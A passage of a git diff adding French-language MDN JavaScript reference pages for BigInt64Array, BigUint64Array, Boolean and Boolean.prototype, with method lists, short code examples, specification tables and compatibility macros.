+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "BigInt64Array.prototype.reduceRight()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "BigInt64Array.prototype.reverse()")}}</dt>
+ <dd>Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "BigInt64Array.prototype.set()")}}</dt>
+ <dd>Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.</dd>
+ <dt>{{jsxref("TypedArray.slice", "BigInt64Array.prototype.slice()")}}</dt>
+ <dd>Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "BigInt64Array.prototype.some()")}}</dt>
+ <dd>Renvoie <code>true</code> si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "BigInt64Array.prototype.sort()")}}</dt>
+ <dd>Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "BigInt64Array.prototype.subarray()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>BigInt64Array</code> qui est le fragment du tableau courant, entre les indices de début et de fin donnés.</dd>
+ <dt>{{jsxref("TypedArray.values", "BigInt64Array.prototype.values()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "BigInt64Array.prototype.toLocaleString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "BigInt64Array.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "BigInt64Array.prototype[@@iterator]()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Différentes façons de créer un objet <code>BigInt64Array</code> :</p>
+
+<pre class="brush: js">// Construction à partir d'une longueur
+var bigInt64 = new BigInt64Array(2);
+bigInt64[0] = 42n;
+console.log(bigInt64[0]); // 42n
+console.log(bigInt64.length); // 2
+console.log(bigInt64.BYTES_PER_ELEMENT); // 8
+
+// Construction à partir d'un tableau
+var arr = new BigInt64Array([21n,31n]);
+console.log(arr[1]); // 31n
+
+// Construction à partir d'un tableau typé
+var x = new BigInt64Array([21n, 31n]);
+var y = new BigInt64Array(x);
+console.log(y[0]); // 21n
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(32);
+var z = new BigInt64Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1n, 2n, 3n]; }();
+var BigInt64 = new BigInt64Array(iterable);
+// BigInt64Array[1n, 2n, 3n]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-bigint/#sec-typedarrays-and-dataview">Proposition pour <code>BigInt</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.BigInt64Array")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("BigUint64Array")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/biguint64array/index.html b/files/fr/web/javascript/reference/objets_globaux/biguint64array/index.html
new file mode 100644
index 0000000000..659a4d8aec
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/biguint64array/index.html
@@ -0,0 +1,184 @@
+---
+title: BigUint64Array
+slug: Web/JavaScript/Reference/Objets_globaux/BigUint64Array
+tags:
+  - BigInt
+  - Constructeur
+  - JavaScript
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/BigUint64Array
+---
+<div>{{JSRef}}</div>
+
+<p>Le tableau typé <strong><code>BigUint64Array</code></strong> permet de représenter un tableau d'entiers non signés représentés sur 64 bits, où l'ordre des octets correspond à celui de la plateforme utilisée. Si on souhaite contrôler l'ordre des octets utilisé (le « boutisme »), on utilisera un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à <code>0n</code>. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new BigUint64Array();
+new BigUint64Array(longueur);
+new BigUint64Array(tableauTypé);
+new BigUint64Array(objet);
+new BigUint64Array(tampon [, décalage [, longueur]]);</pre>
+
+<p>Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page <em><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Syntaxe">TypedArray</a></em>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "BigUint64Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Cette propriété renvoie un nombre correspondant à la quantité d'octets pour un élément du tableau. Dans le cas d'<code>BigUint64Array</code>, ce sera <code>8</code>.</dd>
+ <dt><code>BigUint64Array.length</code></dt>
+ <dd>La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "BigUint64Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "BigUint64Array.name")}}</dt>
+ <dd>Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour <code>BigUint64Array</code> ce sera : "BigUint64Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "BigUint64Array.prototype")}}</dt>
+ <dd>Le prototype des objets <em>TypedArray</em>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "BigUint64Array.from()")}}</dt>
+ <dd>Cette méthode permet de créer un nouveau tableau typé <code>BigUint64Array</code> à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "BigUint64Array.of()")}}</dt>
+ <dd>Cette méthode permet de créer un nouvel objet <code>BigUint64Array</code> à partir d'un nombre d'arguments variables. Voir aussi {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Prototype_BigUint64Array">Prototype <code>BigUint64Array</code></h2>
+
+<p>Tous les objets <code>BigUint64Array</code> héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<dl>
+ <dt><code>BigUint64Array.prototype.constructor</code></dt>
+ <dd>Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur <code>BigUint64Array</code>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "BigUint64Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet <code>BigUint64Array</code> Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "BigUint64Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie la longueur, exprimée en octets, de l'objet <code>BigUint64Array</code> à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "BigUint64Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "BigUint64Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Cette propriété renvoie le nombre d'éléments contenus dans le tableau <code>BigUint64Array</code>. Elle est déterminée lors de la construction et est accessible uniquement en <strong>lecture seule</strong>.</dd>
+</dl>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "BigUint64Array.prototype.copyWithin()")}}</dt>
+ <dd>Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "BigUint64Array.prototype.entries()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "BigUint64Array.prototype.every()")}}</dt>
+ <dd>Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "BigUint64Array.prototype.fill()")}}</dt>
+ <dd>Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "BigUint64Array.prototype.filter()")}}</dt>
+ <dd>Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "BigUint64Array.prototype.find()")}}</dt>
+ <dd>Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément <code>undefined</code> sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "BigUint64Array.prototype.findIndex()")}}</dt>
+ <dd>Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "BigUint64Array.prototype.forEach()")}}</dt>
+ <dd>Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "BigUint64Array.prototype.includes()")}}</dt>
+ <dd>Détermine si le tableau typé contient un élément donné. Cette méthode renvoie <code>true</code> ou <code>false</code> selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "BigUint64Array.prototype.indexOf()")}}</dt>
+ <dd>Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "BigUint64Array.prototype.join()")}}</dt>
+ <dd>Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "BigUint64Array.prototype.keys()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "BigUint64Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "BigUint64Array.prototype.map()")}}</dt>
+ <dd>Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "BigUint64Array.prototype.reduce()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "BigUint64Array.prototype.reduceRight()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "BigUint64Array.prototype.reverse()")}}</dt>
+ <dd>Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "BigUint64Array.prototype.set()")}}</dt>
+ <dd>Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.</dd>
+ <dt>{{jsxref("TypedArray.slice", "BigUint64Array.prototype.slice()")}}</dt>
+ <dd>Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "BigUint64Array.prototype.some()")}}</dt>
+ <dd>Renvoie <code>true</code> si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "BigUint64Array.prototype.sort()")}}</dt>
+ <dd>Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "BigUint64Array.prototype.subarray()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>BigUint64Array</code> qui est le fragment du tableau courant, entre les indices de début et de fin donnés.</dd>
+ <dt>{{jsxref("TypedArray.values", "BigUint64Array.prototype.values()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "BigUint64Array.prototype.toLocaleString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "BigUint64Array.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "BigUint64Array.prototype[@@iterator]()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Différentes façons de créer un objet <code>BigUint64Array</code> :</p>
+
+<pre class="brush: js">// Construction à partir d'une longueur
+var bigInt64 = new BigUint64Array(2);
+bigInt64[0] = 42n;
+console.log(bigInt64[0]); // 42n
+console.log(bigInt64.length); // 2
+console.log(bigInt64.BYTES_PER_ELEMENT); // 8
+
+// Construction à partir d'un tableau
+var arr = new BigUint64Array([21n,31n]);
+console.log(arr[1]); // 31n
+
+// Construction à partir d'un tableau typé
+var x = new BigUint64Array([21n, 31n]);
+var y = new BigUint64Array(x);
+console.log(y[0]); // 21n
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(32);
+var z = new BigUint64Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1n, 2n, 3n]; }();
+var BigInt64 = new BigUint64Array(iterable);
+// BigUint64Array[1n, 2n, 3n]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-bigint/#sec-typedarrays-and-dataview">Proposition pour <code>BigInt</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.BigUint64Array")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("BigUint64Array")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/boolean/index.html b/files/fr/web/javascript/reference/objets_globaux/boolean/index.html
new file mode 100644
index 0000000000..e6c29376f2
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/boolean/index.html
@@ -0,0 +1,166 @@
+---
+title: Boolean
+slug: Web/JavaScript/Reference/Objets_globaux/Boolean
+tags:
+  - Boolean
+  - Constructeur
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>Boolean</code></strong> est un objet permettant de représenter une valeur booléenne.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Boolean([<var>valeur</var>])</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt><code>valeur</code>{{optional_inline}}</dt>
+ <dd>Paramètre optionnel, la valeur initiale de l'objet <code>Boolean</code>.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>La valeur passée en premier paramètre est, si nécessaire, convertie en valeur booléenne. Si la valeur est omise ou est <code>0</code>, <code>-0</code>, {{jsxref("null")}}, <code>false</code>, {{jsxref("NaN")}}, {{jsxref("undefined")}} ou une chaine de caractères vide (""), l'objet a un valeur initiale à <code>false</code> (faux). Si l'objet DOM {{domxref("document.all")}} est passé en argument, la valeur initiale sera également <code>false</code>. Toutes les autres valeurs, y compris n'importe quel objet, un tableau vide (<code>[]</code>), ou une chaine de caractères <code>"false"</code>, créént un objet avec une valeur initiale à <code>true</code> (vrai).</p>
+
+<p>Ne pas confondre les valeurs primitives booléennes <code>true</code> et <code>false</code> avec les valeurs <em>true</em> et <em>false</em> d'un objet Booléen.</p>
+
+<p>Tout objet dont la valeur n'est ni  <code>undefined</code> ni <code>null</code>, incluant un objet Booléen dont la valeur est fausse, évalue à <code>true</code> lorsqu'il est à une instruction conditionnelle. Par exemple, la condition (voir {{jsxref("Instructions/if...else", "if")}}), dans le code suivant, est validée si l'expression est évaluée à <code>true</code> :</p>
+
+<pre class="brush: js">var x = new Boolean("false");
+if (x) {
+  // . . . le code est exécuté
+}
+
+var y = new Boolean(false);
+if (y) {
+  // ce code est également exécuté
+}
+</pre>
+
+<p>Ce comportement ne s'applique pas aux valeurs primitives booléennes. Par exemple, la condition, dans le code suivant, est évaluée à <code>false</code> :</p>
+
+<pre class="brush: js">var x = false;
+if (x) {
+  // . . . le code n'est pas exécuté
+}
+</pre>
+
+<p>Ne pas utiliser un objet <code>Boolean</code> pour convertir une valeur non-booléenne en une valeur booléenne. Utilisez plutot une fonction booléenne pour effectuer cette tâche :</p>
+
+<pre class="brush: js">var x = Boolean(expression);     // conseillé
+var y = new Boolean(expression); // à ne pas utiliser
+</pre>
+
+<p>Si vous spécifiez un objet quelconque, incluant un objet booléen qui a une valeur fausse, le nouvel objet <code>Boolean</code> a une valeur vraie.</p>
+
+<pre class="brush: js">var myFalse = new Boolean(false);   // valeur initiale à false
+var g = Boolean(myFalse);       // valeur initiale à true
+var myString = new String("Hello"); // un object String
+var s = Boolean(myString);      // valeur initiale à true
+</pre>
+
+<p>Ne pas utiliser un objet Booléen à la place d'une valeur primitive booléenne.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Lorsque la propriété historique, non-standard, <code><a href="/fr/docs/Web/API/Document#Properties">document.all</a></code> est utilisée comme argument, le constructeur <code>Boolean</code> renvoie un objet booléen faux. Cette propriété étant non-standard, son utilisation est déconseillée.</p>
+</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Boolean.length</code></dt>
+ <dd>Renvoie 1. Le nombre d'arguments pris en charge par le constructeur.</dd>
+ <dt>{{jsxref("Boolean.prototype")}}</dt>
+ <dd>Représente le prototype du constructeur <code>Boolean</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>L'objet global <code>Boolean</code> ne contient pas ses propres méthodes, cependant, il hérite de certaines méthodes à travers la chaine de prototypes.</p>
+
+<h2 id="Instances_de_Boolean">Instances de <code>Boolean</code></h2>
+
+<p>Toutes les <code>Boolean</code> héritent de {{jsxref("Boolean.prototype")}}. Comme avec tous les constructeurs, l'objet prototype dicte les propriétés et les méthodes héritées par les instances.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>{{page('fr/docs/JavaScript/Reference/Objets_globaux/Boolean/prototype','Propri.C3.A9t.C3.A9s')}}</p>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<p>{{page('fr/docs/JavaScript/Reference/Objets_globaux/Boolean/prototype','M.C3.A9thodes')}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Création_dobjets_Boolean_avec_une_valeur_initiale_à_faux">Création d'objets <code>Boolean</code> avec une valeur initiale à faux</h3>
+
+<pre class="brush: js">var bNoParam = new Boolean();
+var bZero = new Boolean(0);
+var bNull = new Boolean(null);
+var bEmptyString = new Boolean("");
+var bfalse = new Boolean(false);
+</pre>
+
+<h3 id="Création_dobjets_Boolean_avec_une_valeur_initiale_à_vrai">Création d'objets <code>Boolean</code> avec une valeur initiale à vrai</h3>
+
+<pre class="brush: js">var btrue = new Boolean(true);
+var btrueString = new Boolean("true");
+var bfalseString = new Boolean("false");
+var bArrayProto = new Boolean([]);
+var bObjProto = new Boolean({});
+var bSuLin = new Boolean("Su Lin");
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.6', 'Boolean')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-boolean-objects', 'Boolean')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-boolean-objects', 'Boolean')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Boolean")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Boolean.prototype")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Structures_de_données#Les_valeurs_primitives">Les valeurs primitives en JavaScript</a></li>
+ <li>{{Glossary("Boolean","booléen")}}</li>
+ <li><a href="https://fr.wikipedia.org/wiki/Bool%C3%A9en">Le type de données booléen (Wikipédia)</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/boolean/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/boolean/prototype/index.html
new file mode 100644
index 0000000000..7db9efdc8a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/boolean/prototype/index.html
@@ -0,0 +1,88 @@
+---
+title: Boolean.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Boolean/prototype
+tags:
+  - Boolean
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>Boolean.prototype</code></strong> représente le prototype pour le constructeur {{jsxref("Boolean")}}.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/boolean-constructor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les instances de {{jsxref("Boolean")}} hérite de {{jsxref("Boolean.prototype")}}. Vous pouvez utiliser l'objet prototype du constructeur pour ajouter des propriétés ou des méthodes de toutes les instances <code>Boolean</code>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Boolean.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction de création d'un prototype d'instance. Il s'agit de la fonction {{jsxref("Boolean")}} par défaut.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Boolean.prototype.toSource()")}} {{ Non-standard_inline() }}</dt>
+ <dd>Renvoie une chaine de caractères contenant le code source de l'objet {{jsxref("Boolean")}} ; celle-ci peut être utilisée pour créer un objet équivalent. Remplace la méthode {{jsxref("Object.prototype.toSource()")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Boolean.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaine de caractères contenant soit « <code>true</code> » soit « <code>false</code> » selon la valeur de l'objet. Remplace la méthode {{jsxref("Object.prototype.toString()")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Boolean.prototype.valueOf()")}}</dt>
+ <dd>Renvoie la valeur primitive de l'objet {{jsxref("Boolean")}}. Remplace la méthode {{jsxref("Object.prototype.valueOf()")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.6.3.1', 'Boolean.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-boolean.prototype', 'Boolean.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-boolean.prototype', 'Boolean.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Boolean.prototype")}}</p>
